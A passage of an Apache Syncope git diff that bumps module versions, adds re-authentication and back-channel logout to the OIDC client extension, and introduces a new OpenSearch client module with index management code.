b/ext/oidcc4ui/provisioning-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Provisioning API diff --git a/ext/oidcc4ui/provisioning-java/pom.xml b/ext/oidcc4ui/provisioning-java/pom.xml index ad6d1234ce3..c102e8496a7 100644 --- a/ext/oidcc4ui/provisioning-java/pom.xml +++ b/ext/oidcc4ui/provisioning-java/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI Provisioning Java diff --git a/ext/oidcc4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCC4UIProviderDataBinderImpl.java b/ext/oidcc4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCC4UIProviderDataBinderImpl.java index 38e9494c482..9c7d814ec62 100644 --- a/ext/oidcc4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCC4UIProviderDataBinderImpl.java +++ b/ext/oidcc4ui/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/data/OIDCC4UIProviderDataBinderImpl.java @@ -173,6 +173,7 @@ public OIDCC4UIProvider update(final OIDCC4UIProvider op, final OIDCC4UIProvider op.setTokenEndpoint(opTO.getTokenEndpoint()); op.setUserinfoEndpoint(opTO.getUserinfoEndpoint()); op.setEndSessionEndpoint(opTO.getEndSessionEndpoint()); + op.setScopes(opTO.getScopes()); op.setHasDiscovery(opTO.getHasDiscovery()); op.setCreateUnmatching(opTO.isCreateUnmatching()); op.setSelfRegUnmatching(opTO.isSelfRegUnmatching()); @@ -243,6 +244,7 @@ public OIDCC4UIProviderTO getOIDCProviderTO(final OIDCC4UIProvider op) { opTO.setTokenEndpoint(op.getTokenEndpoint()); opTO.setUserinfoEndpoint(op.getUserinfoEndpoint()); opTO.setEndSessionEndpoint(op.getEndSessionEndpoint()); + opTO.getScopes().addAll(op.getScopes()); opTO.setHasDiscovery(op.getHasDiscovery()); opTO.setCreateUnmatching(op.isCreateUnmatching()); opTO.setSelfRegUnmatching(op.isSelfRegUnmatching()); diff --git a/ext/oidcc4ui/rest-api/pom.xml b/ext/oidcc4ui/rest-api/pom.xml index ff2408ba292..73d6f346635 100644 --- a/ext/oidcc4ui/rest-api/pom.xml +++ b/ext/oidcc4ui/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI REST API diff --git a/ext/oidcc4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/OIDCC4UIService.java b/ext/oidcc4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/OIDCC4UIService.java index 7f29b136882..d658df58621 100644 --- a/ext/oidcc4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/OIDCC4UIService.java +++ b/ext/oidcc4ui/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/OIDCC4UIService.java @@ -21,6 +21,7 @@ import io.swagger.v3.oas.annotations.security.SecurityRequirement; import io.swagger.v3.oas.annotations.security.SecurityRequirements; import io.swagger.v3.oas.annotations.tags.Tag; +import javax.ws.rs.DefaultValue; import javax.ws.rs.POST; import javax.ws.rs.Path; import javax.ws.rs.Produces; @@ -46,6 +47,7 @@ public interface OIDCC4UIService extends JAXRSService { * * @param redirectURI redirect URI * @param op OpenID Connect Provider + * @param reauth whether max_age=0 and prompt=login shall be set on the request * @return OpenID Connect authentication request */ @POST @@ -53,7 +55,8 @@ public interface OIDCC4UIService extends JAXRSService { @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) OIDCRequest createLoginRequest( @QueryParam(OIDCConstants.REDIRECT_URI) String redirectURI, - @QueryParam(OIDCConstants.OP) String op); + @QueryParam(OIDCConstants.OP) String op, + @DefaultValue("false") @QueryParam("reauth") boolean reauth); /** * Uses the provided authorization code to go through the OpenID Connect tokens process and finally creates JWT for @@ -82,4 +85,17 @@ OIDCLoginResponse login( @Path("logout") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) OIDCRequest createLogoutRequest(@QueryParam(OIDCConstants.REDIRECT_URI) String redirectURI); + + /** + * Removes the JWT matching the provided OIDC logout token. + * + * @param logoutToken logout token + * @param redirectURI redirect URI + */ + @POST + @Path("backChannelLogout") + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + void backChannelLogout( + @QueryParam(OIDCConstants.LOGOUT_TOKEN) String logoutToken, + @QueryParam(OIDCConstants.REDIRECT_URI) String redirectURI); } diff --git a/ext/oidcc4ui/rest-cxf/pom.xml b/ext/oidcc4ui/rest-cxf/pom.xml index e698ca5e853..3d36423cff5 100644 --- a/ext/oidcc4ui/rest-cxf/pom.xml +++ b/ext/oidcc4ui/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-oidcc4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: OIDC C4UI REST CXF diff --git a/ext/oidcc4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/OIDCC4UIServiceImpl.java b/ext/oidcc4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/OIDCC4UIServiceImpl.java index b57ccf03c3d..250aa316be2 100644 --- a/ext/oidcc4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/OIDCC4UIServiceImpl.java +++ b/ext/oidcc4ui/rest-cxf/src/main/java/org/apache/syncope/core/rest/cxf/service/OIDCC4UIServiceImpl.java @@ -36,8 +36,8 @@ public OIDCC4UIServiceImpl(final OIDCC4UILogic logic) { } @Override - public OIDCRequest createLoginRequest(final String redirectURI, final String op) { - return logic.createLoginRequest(redirectURI, op); + public OIDCRequest createLoginRequest(final String redirectURI, final String op, final boolean reauth) { + return logic.createLoginRequest(redirectURI, op, reauth); } @Override @@ -47,16 +47,17 @@ public OIDCLoginResponse login(final String redirectURI, final String authorizat @Override public OIDCRequest createLogoutRequest(final String redirectURI) { - return logic.createLogoutRequest(getAccessToken(), redirectURI); - } - - private String getAccessToken() { String auth = messageContext.getHttpHeaders().getHeaderString(HttpHeaders.AUTHORIZATION); String[] parts = Optional.ofNullable(auth).map(s -> s.split(" ")).orElse(null); if (parts == null || parts.length != 2 || !"Bearer".equals(parts[0])) { return null; } - return parts[1]; + return logic.createLogoutRequest(parts[1], redirectURI); + } + + @Override + public void backChannelLogout(final String logoutToken, final String redirectURI) { + logic.backChannelLogout(logoutToken, redirectURI); } } diff --git a/ext/opensearch/client-opensearch/pom.xml b/ext/opensearch/client-opensearch/pom.xml new file mode 100644 index 00000000000..c34585a865d --- /dev/null +++ b/ext/opensearch/client-opensearch/pom.xml @@ -0,0 +1,70 @@ + + + + + 4.0.0 + + + org.apache.syncope.ext + syncope-ext-opensearch + 3.0.17-SNAPSHOT + + + Apache Syncope Ext: OpenSearch Client + Apache Syncope Ext: OpenSearch Client + org.apache.syncope.ext.opensearch + syncope-ext-opensearch-client + jar + + + ${basedir}/../../.. + + + + + org.apache.syncope.core + syncope-core-spring + ${project.version} + + + + org.opensearch.client + opensearch-rest-client + + + org.opensearch.client + opensearch-java + + + + org.springframework.boot + spring-boot-starter-actuator + + + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + + + + diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientContext.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientContext.java new file mode 100644 index 00000000000..89f0965940b --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientContext.java @@ -0,0 +1,83 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import java.util.stream.Collectors; +import org.apache.http.HttpHost; +import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; +import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.identityconnectors.common.CollectionUtil; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.springframework.boot.actuate.health.HealthContributor; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Lazy; + +@EnableConfigurationProperties(OpenSearchProperties.class) +@Configuration(proxyBeanMethods = false) +public class OpenSearchClientContext { + + @ConditionalOnMissingBean + @Bean + public OpenSearchClientFactoryBean openSearchClientFactoryBean(final OpenSearchProperties props) { + return new OpenSearchClientFactoryBean( + CollectionUtil.nullAsEmpty(props.getHosts()).stream(). + map(HttpHost::create).collect(Collectors.toList())); + } + + @ConditionalOnMissingBean + @Bean + public OpenSearchUtils openSearchUtils( + final @Lazy UserDAO userDAO, + final @Lazy GroupDAO groupDAO, + final @Lazy AnyObjectDAO anyObjectDAO) { + + return new OpenSearchUtils(userDAO, groupDAO, anyObjectDAO); + } + + @ConditionalOnMissingBean + @Bean + public OpenSearchIndexManager openSearchIndexManager( + final OpenSearchProperties props, + final OpenSearchClient client, + final OpenSearchUtils openSearchUtils) { + + return new OpenSearchIndexManager( + client, + openSearchUtils, + props.getNumberOfShards(), + props.getNumberOfReplicas()); + } + + @ConditionalOnMissingBean + @Bean + public OpenSearchIndexLoader openSearchIndexLoader(final OpenSearchIndexManager indexManager) { + return new OpenSearchIndexLoader(indexManager); + } + + @ConditionalOnMissingBean(name = "syncopeOpenSearchHealthContributor") + @Bean(name = { + "syncopeOpenSearchHealthContributor", "openSearchHealthIndicator", "openSearchHealthContributor" }) + public HealthContributor syncopeOpenSearchHealthContributor(final OpenSearchClient client) { + return new SyncopeOpenSearchHealthContributor(client); + } +} diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientFactoryBean.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientFactoryBean.java new file mode 100644 index 00000000000..7e85a079987 --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchClientFactoryBean.java @@ -0,0 +1,140 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import com.fasterxml.jackson.databind.SerializationFeature; +import com.fasterxml.jackson.databind.json.JsonMapper; +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.List; +import org.apache.http.Header; +import org.apache.http.HttpHeaders; +import org.apache.http.HttpHost; +import org.apache.http.auth.AuthScope; +import org.apache.http.auth.UsernamePasswordCredentials; +import org.apache.http.client.CredentialsProvider; +import org.apache.http.impl.client.BasicCredentialsProvider; +import org.apache.http.message.BasicHeader; +import org.opensearch.client.RestClient; +import org.opensearch.client.RestClientBuilder; +import org.opensearch.client.json.jackson.JacksonJsonpMapper; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.transport.rest_client.RestClientTransport; +import org.springframework.beans.factory.DisposableBean; +import org.springframework.beans.factory.FactoryBean; + +/** + * Spring {@link FactoryBean} for getting the {@link OpenSearchClient} singleton instance. + */ +public class OpenSearchClientFactoryBean implements FactoryBean, DisposableBean { + + private final List hosts; + + private String username; + + private String password; + + private String serviceToken; + + private String apiKeyId; + + private String apiKeySecret; + + private RestClient restClient; + + private OpenSearchClient client; + + public OpenSearchClientFactoryBean(final List hosts) { + this.hosts = hosts; + } + + public void setUsername(final String username) { + this.username = username; + } + + public void setPassword(final String password) { + this.password = password; + } + + public String getServiceToken() { + return serviceToken; + } + + public void setServiceToken(final String serviceToken) { + this.serviceToken = serviceToken; + } + + public String getApiKeyId() { + return apiKeyId; + } + + public void setApiKeyId(final String apiKeyId) { + this.apiKeyId = apiKeyId; + } + + public String getApiKeySecret() { + return apiKeySecret; + } + + public void setApiKeySecret(final String apiKeySecret) { + this.apiKeySecret = apiKeySecret; + } + + @Override + public OpenSearchClient getObject() throws Exception { + synchronized (this) { + if (client == null) { + RestClientBuilder builder = RestClient.builder(hosts.toArray(HttpHost[]::new)); + if (username != null && password != null) { + CredentialsProvider credentialsProvider = new BasicCredentialsProvider(); + credentialsProvider.setCredentials( + AuthScope.ANY, new UsernamePasswordCredentials(username, password)); + builder.setHttpClientConfigCallback(b -> b.setDefaultCredentialsProvider(credentialsProvider)); + } else if (serviceToken != null) { + builder.setDefaultHeaders( + new Header[] { new BasicHeader(HttpHeaders.AUTHORIZATION, "Bearer " + serviceToken) }); + } else if (apiKeyId != null && apiKeySecret != null) { + String apiKeyAuth = Base64.getEncoder().encodeToString( + (apiKeyId + ":" + apiKeySecret).getBytes(StandardCharsets.UTF_8)); + builder.setDefaultHeaders( + new Header[] { new BasicHeader(HttpHeaders.AUTHORIZATION, "ApiKey " + apiKeyAuth) }); + } + + restClient = builder.build(); + client = new OpenSearchClient(new RestClientTransport( + restClient, + new JacksonJsonpMapper(JsonMapper.builder(). + findAndAddModules().disable(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS).build()))); + } + } + return client; + } + + @Override + public Class getObjectType() { + return OpenSearchClient.class; + } + + @Override + public void destroy() throws Exception { + if (restClient != null) { + restClient.close(); + } + } +} diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchIndexLoader.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchIndexLoader.java new file mode 100644 index 00000000000..e6cde59f4cf --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchIndexLoader.java @@ -0,0 +1,72 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import javax.sql.DataSource; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.SyncopeCoreLoader; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.Ordered; + +public class OpenSearchIndexLoader implements SyncopeCoreLoader { + + protected static final Logger LOG = LoggerFactory.getLogger(OpenSearchIndexLoader.class); + + protected final OpenSearchIndexManager indexManager; + + public OpenSearchIndexLoader(final OpenSearchIndexManager indexManager) { + this.indexManager = indexManager; + } + + @Override + public int getOrder() { + return Ordered.LOWEST_PRECEDENCE; + } + + @Override + public void load(final String domain, final DataSource datasource) { + try { + if (!indexManager.existsAnyIndex(domain, AnyTypeKind.USER)) { + indexManager.createAnyIndex(domain, AnyTypeKind.USER, + indexManager.defaultSettings(), indexManager.defaultAnyMapping()); + } + if (!indexManager.existsAnyIndex(domain, AnyTypeKind.GROUP)) { + indexManager.createAnyIndex(domain, AnyTypeKind.GROUP, + indexManager.defaultSettings(), indexManager.defaultAnyMapping()); + } + if (!indexManager.existsAnyIndex(domain, AnyTypeKind.ANY_OBJECT)) { + indexManager.createAnyIndex(domain, AnyTypeKind.ANY_OBJECT, + indexManager.defaultSettings(), indexManager.defaultAnyMapping()); + } + + if (!indexManager.existsRealmIndex(domain)) { + indexManager.createRealmIndex(domain, + indexManager.defaultSettings(), indexManager.defaultRealmMapping()); + } + + if (!indexManager.existsAuditIndex(domain)) { + indexManager.createAuditIndex(domain, + indexManager.defaultSettings(), indexManager.defaultAuditMapping()); + } + } catch (Exception e) { + LOG.error("While creating indexes for domain {}", domain, e); + } + } +} diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchIndexManager.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchIndexManager.java new file mode 100644 index 00000000000..ebd016ff228 --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchIndexManager.java @@ -0,0 +1,361 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import com.fasterxml.jackson.databind.JsonNode; +import java.io.IOException; +import java.util.List; +import java.util.Map; +import org.apache.syncope.common.lib.types.AnyTypeKind; +import org.apache.syncope.core.persistence.api.entity.Any; +import org.apache.syncope.core.persistence.api.entity.Entity; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.provisioning.api.event.EntityLifecycleEvent; +import org.apache.syncope.core.spring.security.SecureRandomUtils; +import org.identityconnectors.framework.common.objects.SyncDeltaType; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch._types.OpenSearchException; +import org.opensearch.client.opensearch._types.Refresh; +import org.opensearch.client.opensearch._types.analysis.CustomNormalizer; +import org.opensearch.client.opensearch._types.analysis.Normalizer; +import org.opensearch.client.opensearch._types.mapping.DynamicTemplate; +import org.opensearch.client.opensearch._types.mapping.KeywordProperty; +import org.opensearch.client.opensearch._types.mapping.ObjectProperty; +import org.opensearch.client.opensearch._types.mapping.Property; +import org.opensearch.client.opensearch._types.mapping.TextProperty; +import org.opensearch.client.opensearch._types.mapping.TypeMapping; +import org.opensearch.client.opensearch.core.DeleteRequest; +import org.opensearch.client.opensearch.core.DeleteResponse; +import org.opensearch.client.opensearch.core.IndexRequest; +import org.opensearch.client.opensearch.core.IndexResponse; +import org.opensearch.client.opensearch.indices.CreateIndexRequest; +import org.opensearch.client.opensearch.indices.CreateIndexResponse; +import org.opensearch.client.opensearch.indices.DeleteIndexRequest; +import org.opensearch.client.opensearch.indices.DeleteIndexResponse; +import org.opensearch.client.opensearch.indices.ExistsRequest; +import org.opensearch.client.opensearch.indices.IndexSettings; +import org.opensearch.client.opensearch.indices.IndexSettingsAnalysis; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.transaction.event.TransactionalEventListener; + +/** + * Listen to any create / update and delete in order to keep the OpenSearch indexes consistent. + */ +public class OpenSearchIndexManager { + + private static final Logger LOG = LoggerFactory.getLogger(OpenSearchIndexManager.class); + + protected final OpenSearchClient client; + + protected final OpenSearchUtils openSearchUtils; + + protected final String numberOfShards; + + protected final String numberOfReplicas; + + public OpenSearchIndexManager( + final OpenSearchClient client, + final OpenSearchUtils ppenSearchUtils, + final String numberOfShards, + final String numberOfReplicas) { + + this.client = client; + this.openSearchUtils = ppenSearchUtils; + this.numberOfShards = numberOfShards; + this.numberOfReplicas = numberOfReplicas; + } + + public boolean existsAnyIndex(final String domain, final AnyTypeKind kind) throws IOException { + return client.indices().exists(new ExistsRequest.Builder(). + index(OpenSearchUtils.getAnyIndex(domain, kind)).build()). + value(); + } + + public boolean existsRealmIndex(final String domain) throws IOException { + return client.indices().exists(new ExistsRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(domain)).build()). + value(); + } + + public boolean existsAuditIndex(final String domain) throws IOException { + return client.indices().exists(new ExistsRequest.Builder(). + index(OpenSearchUtils.getAuditIndex(domain)).build()). + value(); + } + + public IndexSettings defaultSettings() throws IOException { + return new IndexSettings.Builder(). + analysis(new IndexSettingsAnalysis.Builder(). + normalizer("string_lowercase", new Normalizer.Builder(). + custom(new CustomNormalizer.Builder(). + charFilter(List.of()). + filter("lowercase"). + build()). + build()). + build()). + numberOfShards(numberOfShards). + numberOfReplicas(numberOfReplicas). + build(); + } + + public TypeMapping defaultAnyMapping() throws IOException { + return new TypeMapping.Builder(). + dynamicTemplates(List.of(Map.of( + "strings", + new DynamicTemplate.Builder(). + matchMappingType("string"). + mapping(new Property.Builder(). + keyword(new KeywordProperty.Builder().normalizer("string_lowercase").build()). + build()). + build()))). + build(); + } + + public TypeMapping defaultRealmMapping() throws IOException { + return new TypeMapping.Builder(). + dynamicTemplates(List.of(Map.of( + "strings", + new DynamicTemplate.Builder(). + matchMappingType("string"). + mapping(new Property.Builder(). + keyword(new KeywordProperty.Builder().normalizer("string_lowercase").build()). + build()). + build()))). + build(); + } + + public TypeMapping defaultAuditMapping() throws IOException { + return new TypeMapping.Builder(). + dynamicTemplates(List.of(Map.of( + "strings", + new DynamicTemplate.Builder(). + matchMappingType("string"). + mapping(new Property.Builder(). + keyword(new KeywordProperty.Builder().normalizer("string_lowercase").build()). + build()). + build()))). + properties( + "message", + new Property.Builder().object(new ObjectProperty.Builder(). + properties( + "before", + new Property.Builder(). + text(new TextProperty.Builder().analyzer("standard").build()). + build()). + properties( + "inputs", + new Property.Builder(). + text(new TextProperty.Builder().analyzer("standard").build()). + build()). + properties( + "output", + new Property.Builder(). + text(new TextProperty.Builder().analyzer("standard").build()). + build()). + properties( + "throwable", + new Property.Builder(). + text(new TextProperty.Builder().analyzer("standard").build()). + build()). + build()). + build()). + build(); + } + + protected CreateIndexResponse doCreateAnyIndex( + final String domain, + final AnyTypeKind kind, + final IndexSettings settings, + final TypeMapping mappings) throws IOException { + + return client.indices().create( + new CreateIndexRequest.Builder(). + index(OpenSearchUtils.getAnyIndex(domain, kind)). + settings(settings). + mappings(mappings). + build()); + } + + public void createAnyIndex( + final String domain, + final AnyTypeKind kind, + final IndexSettings settings, + final TypeMapping mappings) + throws IOException { + + try { + CreateIndexResponse response = doCreateAnyIndex(domain, kind, settings, mappings); + + LOG.debug("Successfully created {} for {}: {}", + OpenSearchUtils.getAnyIndex(domain, kind), kind.name(), response); + } catch (OpenSearchException e) { + LOG.debug("Could not create index {} because it already exists", + OpenSearchUtils.getAnyIndex(domain, kind), e); + + removeAnyIndex(domain, kind); + doCreateAnyIndex(domain, kind, settings, mappings); + } + } + + public void removeAnyIndex(final String domain, final AnyTypeKind kind) throws IOException { + DeleteIndexResponse response = client.indices().delete( + new DeleteIndexRequest.Builder().index(OpenSearchUtils.getAnyIndex(domain, kind)).build()); + LOG.debug("Successfully removed {}: {}", OpenSearchUtils.getAnyIndex(domain, kind), response); + } + + protected CreateIndexResponse doCreateRealmIndex( + final String domain, + final IndexSettings settings, + final TypeMapping mappings) throws IOException { + + return client.indices().create( + new CreateIndexRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(domain)). + settings(settings). + mappings(mappings). + build()); + } + + public void createRealmIndex( + final String domain, + final IndexSettings settings, + final TypeMapping mappings) + throws IOException { + + try { + CreateIndexResponse response = doCreateRealmIndex(domain, settings, mappings); + + LOG.debug("Successfully created realm index {}: {}", + OpenSearchUtils.getRealmIndex(domain), response); + } catch (OpenSearchException e) { + LOG.debug("Could not create realm index {} because it already exists", + OpenSearchUtils.getRealmIndex(domain), e); + + removeRealmIndex(domain); + doCreateRealmIndex(domain, settings, mappings); + } + } + + public void removeRealmIndex(final String domain) throws IOException { + DeleteIndexResponse response = client.indices().delete( + new DeleteIndexRequest.Builder().index(OpenSearchUtils.getRealmIndex(domain)).build()); + LOG.debug("Successfully removed {}: {}", OpenSearchUtils.getRealmIndex(domain), response); + } + + protected CreateIndexResponse doCreateAuditIndex( + final String domain, + final IndexSettings settings, + final TypeMapping mappings) throws IOException { + + return client.indices().create( + new CreateIndexRequest.Builder(). + index(OpenSearchUtils.getAuditIndex(domain)). + settings(settings). + mappings(mappings). + build()); + } + + public void createAuditIndex( + final String domain, + final IndexSettings settings, + final TypeMapping mappings) + throws IOException { + + try { + CreateIndexResponse response = doCreateAuditIndex(domain, settings, mappings); + + LOG.debug("Successfully created audit index {}: {}", + OpenSearchUtils.getAuditIndex(domain), response); + } catch (OpenSearchException e) { + LOG.debug("Could not create audit index {} because it already exists", + OpenSearchUtils.getAuditIndex(domain), e); + + removeAuditIndex(domain); + doCreateAuditIndex(domain, settings, mappings); + } + } + + public void removeAuditIndex(final String domain) throws IOException { + DeleteIndexResponse response = client.indices().delete( + new DeleteIndexRequest.Builder().index(OpenSearchUtils.getAuditIndex(domain)).build()); + LOG.debug("Successfully removed {}: {}", OpenSearchUtils.getAuditIndex(domain), response); + } + + @TransactionalEventListener + public void entity(final EntityLifecycleEvent event) throws IOException { + LOG.debug("About to {} index for {}", event.getType().name(), event.getEntity()); + + if (event.getEntity() instanceof Any) { + Any any = (Any) event.getEntity(); + + if (event.getType() == SyncDeltaType.DELETE) { + DeleteRequest request = new DeleteRequest.Builder().index( + OpenSearchUtils.getAnyIndex(event.getDomain(), any.getType().getKind())). + id(any.getKey()). + build(); + DeleteResponse response = client.delete(request); + LOG.debug("Index successfully deleted for {}[{}]: {}", + any.getType().getKind(), any.getKey(), response); + } else { + IndexRequest> request = new IndexRequest.Builder>(). + index(OpenSearchUtils.getAnyIndex(event.getDomain(), any.getType().getKind())). + id(any.getKey()). + document(openSearchUtils.document(any)). + build(); + IndexResponse response = client.index(request); + LOG.debug("Index successfully created or updated for {}: {}", any, response); + } + } else if (event.getEntity() instanceof Realm) { + Realm realm = (Realm) event.getEntity(); + + if (event.getType() == SyncDeltaType.DELETE) { + DeleteRequest request = new DeleteRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(event.getDomain())). + id(realm.getKey()). + refresh(Refresh.True). + build(); + DeleteResponse response = client.delete(request); + LOG.debug("Index successfully deleted for {}: {}", realm, response); + } else { + IndexRequest> request = new IndexRequest.Builder>(). + index(OpenSearchUtils.getRealmIndex(event.getDomain())). + id(realm.getKey()). + document(openSearchUtils.document(realm)). + refresh(Refresh.True). + build(); + IndexResponse response = client.index(request); + LOG.debug("Index successfully created or updated for {}: {}", realm, response); + } + } + } + + public void audit(final String domain, final long instant, final JsonNode message) throws IOException { + LOG.debug("About to audit"); + + IndexRequest> request = new IndexRequest.Builder>(). + index(OpenSearchUtils.getAuditIndex(domain)). + id(SecureRandomUtils.generateRandomUUID().toString()). + document(openSearchUtils.document(instant, message, domain)). + build(); + IndexResponse response = client.index(request); + + LOG.debug("Audit successfully created: {}", response); + } +} diff --git a/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchProperties.java b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchProperties.java new file mode 100644 index 00000000000..78bf78e641f --- /dev/null +++ b/ext/opensearch/client-opensearch/src/main/java/org/apache/syncope/ext/opensearch/client/OpenSearchProperties.java @@ -0,0 +1,67 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.ext.opensearch.client; + +import java.util.ArrayList; +import java.util.List; +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("opensearch") +public class OpenSearchProperties { + + private List hosts = new ArrayList<>(); + + private int indexMaxResultWindow = 10000; + + private String numberOfShards = "1"; + + private String numberOfReplicas = "1"; + + public List getHosts() { + return hosts; + } + + public void setHosts(final List hosts) { + this.hosts = hosts; + } + + public int getIndexMaxResultWindow() { + return indexMaxResultWindow; + } + + public void setIndexMaxResultWindow(final int indexMaxResultWindow) { + this.indexMaxResultWindow = indexMaxResultWindow; + } + + public String getNumberOfShards() { + return numberOfShards; + } + + public void setNumberOfShards(final String numberOfShards) { + this.numberOfShards = numberOfShards; + } + + public 